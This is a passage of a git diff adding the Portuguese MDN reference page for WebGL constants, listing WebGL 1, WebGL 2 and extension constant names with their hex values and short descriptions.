FLOAT_MAT30x8B5B 
FLOAT_MAT40x8B5C 
SAMPLER_2D0x8B5E 
SAMPLER_CUBE0x8B60 
- -

Shader precision-specified types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
LOW_FLOAT0x8DF0 
MEDIUM_FLOAT0x8DF1 
HIGH_FLOAT0x8DF2 
LOW_INT0x8DF3 
MEDIUM_INT0x8DF4 
HIGH_INT0x8DF5 
- -

Framebuffers and renderbuffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAMEBUFFER0x8D40 
RENDERBUFFER0x8D41 
RGBA40x8056 
RGB5_A10x8057 
RGB5650x8D62 
DEPTH_COMPONENT160x81A5 
STENCIL_INDEX0x1901 
STENCIL_INDEX80x8D48 
DEPTH_STENCIL0x84F9 
RENDERBUFFER_WIDTH0x8D42 
RENDERBUFFER_HEIGHT0x8D43 
RENDERBUFFER_INTERNAL_FORMAT0x8D44 
RENDERBUFFER_RED_SIZE0x8D50 
RENDERBUFFER_GREEN_SIZE0x8D51 
RENDERBUFFER_BLUE_SIZE0x8D52 
RENDERBUFFER_ALPHA_SIZE0x8D53 
RENDERBUFFER_DEPTH_SIZE0x8D54 
RENDERBUFFER_STENCIL_SIZE0x8D55 
FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE0x8CD0 
FRAMEBUFFER_ATTACHMENT_OBJECT_NAME0x8CD1 
FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL0x8CD2 
FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE0x8CD3 
COLOR_ATTACHMENT00x8CE0 
DEPTH_ATTACHMENT0x8D00 
STENCIL_ATTACHMENT0x8D20 
DEPTH_STENCIL_ATTACHMENT0x821A 
NONE0 
FRAMEBUFFER_COMPLETE0x8CD5 
FRAMEBUFFER_INCOMPLETE_ATTACHMENT0x8CD6 
FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT0x8CD7 
FRAMEBUFFER_INCOMPLETE_DIMENSIONS0x8CD9 
FRAMEBUFFER_UNSUPPORTED0x8CDD 
FRAMEBUFFER_BINDING0x8CA6 
RENDERBUFFER_BINDING0x8CA7 
MAX_RENDERBUFFER_SIZE0x84E8 
INVALID_FRAMEBUFFER_OPERATION0x0506 
- -

Pixel storage modes

- -

Constants passed to {{domxref("WebGLRenderingContext.pixelStorei()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNPACK_FLIP_Y_WEBGL0x9240 
UNPACK_PREMULTIPLY_ALPHA_WEBGL0x9241 
UNPACK_COLORSPACE_CONVERSION_WEBGL0x9243 
- -

Constantes adicionais definidas em WebGL 2

- -

These constants are defined on the {{domxref("WebGL2RenderingContext")}} interface. All WebGL 1 constants are also available in a WebGL 2 context.

- -

Obter a informação do parâmetro GL

- -

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
READ_BUFFER0x0C02 
UNPACK_ROW_LENGTH0x0CF2 
UNPACK_SKIP_ROWS0x0CF3 
UNPACK_SKIP_PIXELS0x0CF4 
PACK_ROW_LENGTH0x0D02 
PACK_SKIP_ROWS0x0D03 
PACK_SKIP_PIXELS0x0D04 
TEXTURE_BINDING_3D0x806A 
UNPACK_SKIP_IMAGES0x806D 
UNPACK_IMAGE_HEIGHT0x806E 
MAX_3D_TEXTURE_SIZE0x8073 
MAX_ELEMENTS_VERTICES0x80E8 
MAX_ELEMENTS_INDICES0x80E9 
MAX_TEXTURE_LOD_BIAS0x84FD 
MAX_FRAGMENT_UNIFORM_COMPONENTS0x8B49 
MAX_VERTEX_UNIFORM_COMPONENTS0x8B4A 
MAX_ARRAY_TEXTURE_LAYERS0x88FF 
MIN_PROGRAM_TEXEL_OFFSET0x8904 
MAX_PROGRAM_TEXEL_OFFSET0x8905 
MAX_VARYING_COMPONENTS0x8B4B 
FRAGMENT_SHADER_DERIVATIVE_HINT0x8B8B 
RASTERIZER_DISCARD0x8C89 
VERTEX_ARRAY_BINDING0x85B5 
MAX_VERTEX_OUTPUT_COMPONENTS0x9122 
MAX_FRAGMENT_INPUT_COMPONENTS0x9125 
MAX_SERVER_WAIT_TIMEOUT0x9111 
MAX_ELEMENT_INDEX0x8D6B 
- -

Texturas

- -

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
RED0x1903 
RGB80x8051 
RGBA80x8058 
RGB10_A20x8059 
TEXTURE_3D0x806F 
TEXTURE_WRAP_R0x8072 
TEXTURE_MIN_LOD0x813A 
TEXTURE_MAX_LOD0x813B 
TEXTURE_BASE_LEVEL0x813C 
TEXTURE_MAX_LEVEL0x813D 
TEXTURE_COMPARE_MODE0x884C 
TEXTURE_COMPARE_FUNC0x884D 
SRGB0x8C40 
SRGB80x8C41 
SRGB8_ALPHA80x8C43 
COMPARE_REF_TO_TEXTURE0x884E 
RGBA32F0x8814 
RGB32F0x8815 
RGBA16F0x881A 
RGB16F0x881B 
TEXTURE_2D_ARRAY0x8C1A 
TEXTURE_BINDING_2D_ARRAY0x8C1D 
R11F_G11F_B10F0x8C3A 
RGB9_E50x8C3D 
RGBA32UI0x8D70 
RGB32UI0x8D71 
RGBA16UI0x8D76 
RGB16UI0x8D77 
RGBA8UI0x8D7C 
RGB8UI0x8D7D 
RGBA32I0x8D82 
RGB32I0x8D83 
RGBA16I0x8D88 
RGB16I0x8D89 
RGBA8I0x8D8E 
RGB8I0x8D8F 
RED_INTEGER0x8D94 
RGB_INTEGER0x8D98 
RGBA_INTEGER0x8D99 
R80x8229 
RG80x822B 
R16F0x822D 
R32F0x822E 
RG16F0x822F 
RG32F0x8230 
R8I0x8231 
R8UI0x8232 
R16I0x8233 
R16UI0x8234 
R32I0x8235 
R32UI0x8236 
RG8I0x8237 
RG8UI0x8238 
RG16I0x8239 
RG16UI0x823A 
RG32I0x823B 
RG32UI0x823C 
R8_SNORM0x8F94 
RG8_SNORM0x8F95 
RGB8_SNORM0x8F96 
RGBA8_SNORM0x8F97 
RGB10_A2UI0x906F 
TEXTURE_IMMUTABLE_FORMAT 0x912F 
TEXTURE_IMMUTABLE_LEVELS0x82DF 
- -

Tipos de píxel

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNSIGNED_INT_2_10_10_10_REV0x8368 
UNSIGNED_INT_10F_11F_11F_REV0x8C3B 
UNSIGNED_INT_5_9_9_9_REV0x8C3E 
FLOAT_32_UNSIGNED_INT_24_8_REV0x8DAD 
UNSIGNED_INT_24_80x84FA 
HALF_FLOAT0x140B 
RG0x8227 
RG_INTEGER0x8228 
INT_2_10_10_10_REV0x8D9F 
- -

Consultas

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
CURRENT_QUERY0x8865 
QUERY_RESULT 0x8866 
QUERY_RESULT_AVAILABLE0x8867 
ANY_SAMPLES_PASSED0x8C2F 
ANY_SAMPLES_PASSED_CONSERVATIVE0x8D6A 
- -

Draw buffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
MAX_DRAW_BUFFERS0x8824 
DRAW_BUFFER00x8825 
DRAW_BUFFER10x8826 
DRAW_BUFFER20x8827 
DRAW_BUFFER30x8828 
DRAW_BUFFER40x8829 
DRAW_BUFFER50x882A 
DRAW_BUFFER60x882B 
DRAW_BUFFER70x882C 
DRAW_BUFFER80x882D 
DRAW_BUFFER90x882E 
DRAW_BUFFER100x882F 
DRAW_BUFFER110x8830 
DRAW_BUFFER120x8831 
DRAW_BUFFER130x8832 
DRAW_BUFFER140x8833 
DRAW_BUFFER150x8834 
MAX_COLOR_ATTACHMENTS0x8CDF 
COLOR_ATTACHMENT10x8CE1 
COLOR_ATTACHMENT20x8CE2 
COLOR_ATTACHMENT30x8CE3 
COLOR_ATTACHMENT40x8CE4 
COLOR_ATTACHMENT50x8CE5 
COLOR_ATTACHMENT60x8CE6 
COLOR_ATTACHMENT70x8CE7 
COLOR_ATTACHMENT80x8CE8 
COLOR_ATTACHMENT90x8CE9 
COLOR_ATTACHMENT100x8CEA 
COLOR_ATTACHMENT110x8CEB 
COLOR_ATTACHMENT120x8CEC 
COLOR_ATTACHMENT130x8CED 
COLOR_ATTACHMENT140x8CEE 
COLOR_ATTACHMENT150x8CEF 
- -

Samplers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
SAMPLER_3D0x8B5F 
SAMPLER_2D_SHADOW0x8B62 
SAMPLER_2D_ARRAY0x8DC1 
SAMPLER_2D_ARRAY_SHADOW0x8DC4 
SAMPLER_CUBE_SHADOW0x8DC5 
INT_SAMPLER_2D0x8DCA 
INT_SAMPLER_3D0x8DCB 
INT_SAMPLER_CUBE0x8DCC 
INT_SAMPLER_2D_ARRAY0x8DCF 
UNSIGNED_INT_SAMPLER_2D0x8DD2 
UNSIGNED_INT_SAMPLER_3D0x8DD3 
UNSIGNED_INT_SAMPLER_CUBE0x8DD4 
UNSIGNED_INT_SAMPLER_2D_ARRAY0x8DD7 
MAX_SAMPLES0x8D57 
SAMPLER_BINDING0x8919 
- -

Buffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
PIXEL_PACK_BUFFER0x88EB 
PIXEL_UNPACK_BUFFER0x88EC 
PIXEL_PACK_BUFFER_BINDING0x88ED 
PIXEL_UNPACK_BUFFER_BINDING 0x88EF 
COPY_READ_BUFFER0x8F36 
COPY_WRITE_BUFFER0x8F37 
COPY_READ_BUFFER_BINDING0x8F36 
COPY_WRITE_BUFFER_BINDING0x8F37 
- -

Tipos de dados

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FLOAT_MAT2x30x8B65 
FLOAT_MAT2x40x8B66 
FLOAT_MAT3x20x8B67 
FLOAT_MAT3x4 0x8B68 
FLOAT_MAT4x20x8B69 
FLOAT_MAT4x30x8B6A 
UNSIGNED_INT_VEC20x8DC6 
UNSIGNED_INT_VEC30x8DC7 
UNSIGNED_INT_VEC40x8DC8 
UNSIGNED_NORMALIZED0x8C17 
SIGNED_NORMALIZED0x8F9C 
- -

Atributos de Vertex

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_INTEGER 0x88FD 
VERTEX_ATTRIB_ARRAY_DIVISOR0x88FE 
- -

Transform feedback

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
TRANSFORM_FEEDBACK_BUFFER_MODE0x8C7F 
MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS0x8C80 
TRANSFORM_FEEDBACK_VARYINGS0x8C83 
TRANSFORM_FEEDBACK_BUFFER_START0x8C84 
TRANSFORM_FEEDBACK_BUFFER_SIZE0x8C85 
TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN0x8C88 
MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS0x8C8A 
MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS0x8C8B 
INTERLEAVED_ATTRIBS0x8C8C 
SEPARATE_ATTRIBS0x8C8D 
TRANSFORM_FEEDBACK_BUFFER0x8C8E 
TRANSFORM_FEEDBACK_BUFFER_BINDING0x8C8F 
TRANSFORM_FEEDBACK0x8E22 
TRANSFORM_FEEDBACK_PAUSED0x8E23 
TRANSFORM_FEEDBACK_ACTIVE0x8E24 
TRANSFORM_FEEDBACK_BINDING0x8E25 
- -

Framebuffers e renderbuffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING0x8210 
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE0x8211 
FRAMEBUFFER_ATTACHMENT_RED_SIZE0x8212 
FRAMEBUFFER_ATTACHMENT_GREEN_SIZE0x8213 
FRAMEBUFFER_ATTACHMENT_BLUE_SIZE0x8214 
FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE0x8215 
FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE0x8216 
FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE0x8217 
FRAMEBUFFER_DEFAULT0x8218 
DEPTH_STENCIL_ATTACHMENT0x821A 
DEPTH_STENCIL0x84F9 
DEPTH24_STENCIL80x88F0 
DRAW_FRAMEBUFFER_BINDING0x8CA6 
READ_FRAMEBUFFER0x8CA8 
DRAW_FRAMEBUFFER0x8CA9 
READ_FRAMEBUFFER_BINDING0x8CAA 
RENDERBUFFER_SAMPLES0x8CAB 
FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER0x8CD4 
FRAMEBUFFER_INCOMPLETE_MULTISAMPLE0x8D56 
- -

Uniforms

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNIFORM_BUFFER0x8A11 
UNIFORM_BUFFER_BINDING0x8A28 
UNIFORM_BUFFER_START0x8A29 
UNIFORM_BUFFER_SIZE0x8A2A 
MAX_VERTEX_UNIFORM_BLOCKS0x8A2B 
MAX_FRAGMENT_UNIFORM_BLOCKS0x8A2D 
MAX_COMBINED_UNIFORM_BLOCKS0x8A2E 
MAX_UNIFORM_BUFFER_BINDINGS0x8A2F 
MAX_UNIFORM_BLOCK_SIZE0x8A30 
MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS0x8A31 
MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS0x8A33 
UNIFORM_BUFFER_OFFSET_ALIGNMENT0x8A34 
ACTIVE_UNIFORM_BLOCKS0x8A36 
UNIFORM_TYPE 0x8A37 
UNIFORM_SIZE0x8A38 
UNIFORM_BLOCK_INDEX0x8A3A 
UNIFORM_OFFSET0x8A3B 
UNIFORM_ARRAY_STRIDE0x8A3C 
UNIFORM_MATRIX_STRIDE0x8A3D 
UNIFORM_IS_ROW_MAJOR0x8A3E 
UNIFORM_BLOCK_BINDING0x8A3F 
UNIFORM_BLOCK_DATA_SIZE0x8A40 
UNIFORM_BLOCK_ACTIVE_UNIFORMS0x8A42 
UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES0x8A43 
UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER0x8A44 
UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER0x8A46 
- -

Objetos de sincronização

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
OBJECT_TYPE0x9112 
SYNC_CONDITION0x9113 
SYNC_STATUS0x9114 
SYNC_FLAGS0x9115 
SYNC_FENCE0x9116 
SYNC_GPU_COMMANDS_COMPLETE0x9117 
UNSIGNALED0x9118 
SIGNALED0x9119 
ALREADY_SIGNALED0x911A 
TIMEOUT_EXPIRED0x911B 
CONDITION_SATISFIED0x911C 
WAIT_FAILED0x911D 
SYNC_FLUSH_COMMANDS_BIT0x00000001 
- -

Constantes diversas

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COLOR0x1800 
DEPTH0x1801 
STENCIL0x1802 
MIN0x8007 
MAX0x8008 
DEPTH_COMPONENT240x81A6 
STREAM_READ0x88E1 
STREAM_COPY0x88E2 
STATIC_READ0x88E5 
STATIC_COPY0x88E6 
DYNAMIC_READ0x88E9 
DYNAMIC_COPY0x88EA 
DEPTH_COMPONENT32F0x8CAC 
DEPTH32F_STENCIL80x8CAD 
INVALID_INDEX0xFFFFFFFF 
TIMEOUT_IGNORED-1 
MAX_CLIENT_WAIT_TIMEOUT_WEBGL0x9247 
- -

Constantes definidas nas extensões de WebGL

- -

{{domxref("ANGLE_instanced_arrays")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE0x88FEDescribes the frequency divisor used for instanced rendering.
- -

{{domxref("WEBGL_debug_renderer_info")}}

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNMASKED_VENDOR_WEBGL0x9245Passed to getParameter to get the vendor string of the graphics driver.
UNMASKED_RENDERER_WEBGL0x9246Passed to getParameter to get the renderer string of the graphics driver.
- -

{{domxref("EXT_texture_filter_anisotropic")}}

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
MAX_TEXTURE_MAX_ANISOTROPY_EXT0x84FFReturns the maximum available anisotropy.
TEXTURE_MAX_ANISOTROPY_EXT0x84FEPassed to texParameter to set the desired maximum anisotropy for a texture.
- -

{{domxref("WEBGL_compressed_texture_s3tc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_S3TC_DXT1_EXT0x83F0A DXT1-compressed image in an RGB image format.
COMPRESSED_RGBA_S3TC_DXT1_EXT0x83F1A DXT1-compressed image in an RGB image format with a simple on/off alpha value.
COMPRESSED_RGBA_S3TC_DXT3_EXT0x83F2A DXT3-compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression.
COMPRESSED_RGBA_S3TC_DXT5_EXT0x83F3A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done.
- -

{{domxref("WEBGL_compressed_texture_etc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_R11_EAC0x9270One-channel (red) unsigned format compression.
COMPRESSED_SIGNED_R11_EAC0x9271One-channel (red) signed format compression.
COMPRESSED_RG11_EAC0x9272Two-channel (red and green) unsigned format compression.
COMPRESSED_SIGNED_RG11_EAC0x9273Two-channel (red and green) signed format compression.
COMPRESSED_RGB8_ETC20x9274Compresses RBG8 data with no alpha channel.
COMPRESSED_RGBA8_ETC2_EAC0x9275Compresses RGBA8 data. The RGB part is encoded the same as RGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_SRGB8_ETC20x9276Compresses sRBG8 data with no alpha channel.
COMPRESSED_SRGB8_ALPHA8_ETC2_EAC0x9277Compresses sRGBA8 data. The sRGB part is encoded the same as SRGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC20x9278Similar to RGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC20x9279Similar to SRGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
- -

{{domxref("WEBGL_compressed_texture_pvrtc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_PVRTC_4BPPV1_IMG0x8C00RGB compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGBA_PVRTC_4BPPV1_IMG0x8C02RGBA compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGB_PVRTC_2BPPV1_IMG0x8C01RGB compression in 2-bit mode. One block for each 8×4 pixels.
COMPRESSED_RGBA_PVRTC_2BPPV1_IMG0x8C03RGBA compression in 2-bit mode. One block for each 8×4 pixe
- -

{{domxref("WEBGL_compressed_texture_etc1")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_ETC1_WEBGL0x8D64Compresses 24-bit RGB data with no alpha channel.
- -

{{domxref("WEBGL_compressed_texture_atc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_ATC_WEBGL0x8C92Compresses RGB textures with no alpha channel.
COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL0x8C92Compresses RGBA textures using explicit alpha encoding (useful when alpha transitions are sharp).
COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL0x87EECompresses RGBA textures using interpolated alpha encoding (useful when alpha transitions are gradient).
- -

{{domxref("WEBGL_depth_texture")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNSIGNED_INT_24_8_WEBGL0x84FAUnsigned integer type for 24-bit depth texture data.
- -

{{domxref("OES_texture_half_float")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
HALF_FLOAT_OES0x8D61Half floating-point type (16-bit).
- -

{{domxref("WEBGL_color_buffer_float")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
RGBA32F_EXT0x8814RGBA 32-bit floating-point color-renderable format.
RGB32F_EXT0x8815RGB 32-bit floating-point color-renderable format.
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT0x8211 
UNSIGNED_NORMALIZED_EXT0x8C17 
- -

{{domxref("EXT_blend_minmax")}}

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
MIN_EXT0x8007Produces the minimum color components of the source and destination colors.
MAX_EXT0x8008Produces the maximum color components of the source and destination colors.
- -

{{domxref("EXT_sRGB")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
SRGB_EXT0x8C40Unsized sRGB format that leaves the precision up to the driver.
SRGB_ALPHA_EXT0x8C42Unsized sRGB format with unsized alpha component.
SRGB8_ALPHA8_EXT0x8C43Sized (8-bit) sRGB and alpha formats.
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT0x8210Returns the framebuffer color encoding.
- -

{{domxref("OES_standard_derivatives")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAGMENT_SHADER_DERIVATIVE_HINT_OES0x8B8BIndicates the accuracy of the derivative calculation for the GLSL built-in functions: dFdx, dFdy, and fwidth.
- -

{{domxref("WEBGL_draw_buffers")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COLOR_ATTACHMENT0_WEBGL0x8CE0Framebuffer color attachment point
COLOR_ATTACHMENT1_WEBGL0x8CE1Framebuffer color attachment point
COLOR_ATTACHMENT2_WEBGL0x8CE2Framebuffer color attachment point
COLOR_ATTACHMENT3_WEBGL0x8CE3Framebuffer color attachment point
COLOR_ATTACHMENT4_WEBGL0x8CE4Framebuffer color attachment point
COLOR_ATTACHMENT5_WEBGL0x8CE5Framebuffer color attachment point
COLOR_ATTACHMENT6_WEBGL0x8CE6Framebuffer color attachment point
COLOR_ATTACHMENT7_WEBGL0x8CE7Framebuffer color attachment point
COLOR_ATTACHMENT8_WEBGL0x8CE8Framebuffer color attachment point
COLOR_ATTACHMENT9_WEBGL0x8CE9Framebuffer color attachment point
COLOR_ATTACHMENT10_WEBGL0x8CEAFramebuffer color attachment point
COLOR_ATTACHMENT11_WEBGL0x8CEBFramebuffer color attachment point
COLOR_ATTACHMENT12_WEBGL0x8CECFramebuffer color attachment point
COLOR_ATTACHMENT13_WEBGL0x8CEDFramebuffer color attachment point
COLOR_ATTACHMENT14_WEBGL0x8CEEFramebuffer color attachment point
COLOR_ATTACHMENT15_WEBGL0x8CEFFramebuffer color attachment point
DRAW_BUFFER0_WEBGL0x8825Draw buffer
DRAW_BUFFER1_WEBGL0x8826Draw buffer
DRAW_BUFFER2_WEBGL0x8827Draw buffer
DRAW_BUFFER3_WEBGL0x8828Draw buffer
DRAW_BUFFER4_WEBGL0x8829Draw buffer
DRAW_BUFFER5_WEBGL0x882ADraw buffer
DRAW_BUFFER6_WEBGL0x882BDraw buffer
DRAW_BUFFER7_WEBGL0x882CDraw buffer
DRAW_BUFFER8_WEBGL0x882DDraw buffer
DRAW_BUFFER9_WEBGL0x882EDraw buffer
DRAW_BUFFER10_WEBGL0x882FDraw buffer
DRAW_BUFFER11_WEBGL0x8830Draw buffer
DRAW_BUFFER12_WEBGL0x8831Draw buffer
DRAW_BUFFER13_WEBGL0x8832Draw buffer
DRAW_BUFFER14_WEBGL0x8833Draw buffer
DRAW_BUFFER15_WEBGL0x8834Draw buffer
MAX_COLOR_ATTACHMENTS_WEBGL0x8CDFMaximum number of framebuffer color attachment points
MAX_DRAW_BUFFERS_WEBGL0x8824Maximum number of draw buffers
- -

{{domxref("OES_vertex_array_object")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
VERTEX_ARRAY_BINDING_OES0x85B5The bound vertex array object (VAO).
- -

{{domxref("EXT_disjoint_timer_query")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
QUERY_COUNTER_BITS_EXT0x8864The number of bits used to hold the query result for the given target.
CURRENT_QUERY_EXT0x8865The currently active query.
QUERY_RESULT_EXT0x8866The query result.
QUERY_RESULT_AVAILABLE_EXT0x8867A Boolean indicating whether or not a query result is available.
TIME_ELAPSED_EXT0x88BFElapsed time (in nanoseconds).
TIMESTAMP_EXT0x8E28The current time.
GPU_DISJOINT_EXT0x8FBBA Boolean indicating whether or not the GPU performed any disjoint operation.
- -

Especificações

- - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}{{Spec2('WebGL2')}}Defines additional constants.
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/constants/index.html b/files/pt-pt/web/api/webgl_api/constants/index.html new file mode 100644 index 0000000000..8328c7976f --- /dev/null +++ b/files/pt-pt/web/api/webgl_api/constants/index.html @@ -0,0 +1,4023 @@ +--- +title: Contantes de WebGL +slug: Web/API/WebGL_API/Constantes +tags: + - API + - Referencia + - WebGL + - constantes +translation_of: Web/API/WebGL_API/Constants +--- +
{{WebGLSidebar}}
+ +

The WebGL API provides several constants that are passed into or returned by functions. All constants are of type {{domxref("GLenum")}}.

+ +

Standard WebGL constants are installed on the {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} objects, so that you use them as gl.CONSTANT_NAME:

+ +
var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+
+gl.getParameter(gl.LINE_WIDTH);
+
+ +

Some constants are also provided by WebGL extensions. A list is provided below.

+ +
var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
+var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
+ +

The WebGL tutorial has more information, examples, and resources on how to get started with WebGL.

+ +

Tabela de conteúdos

+ + + +

Standard WebGL 1 constants

+ +

These constants are defined on the {{domxref("WebGLRenderingContext")}} interface.

+ +

Limpar buffers

+ +

Constants passed to {{domxref("WebGLRenderingContext.clear()")}} to clear buffer masks.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
DEPTH_BUFFER_BIT0x00000100Passed to clear to clear the current depth buffer.
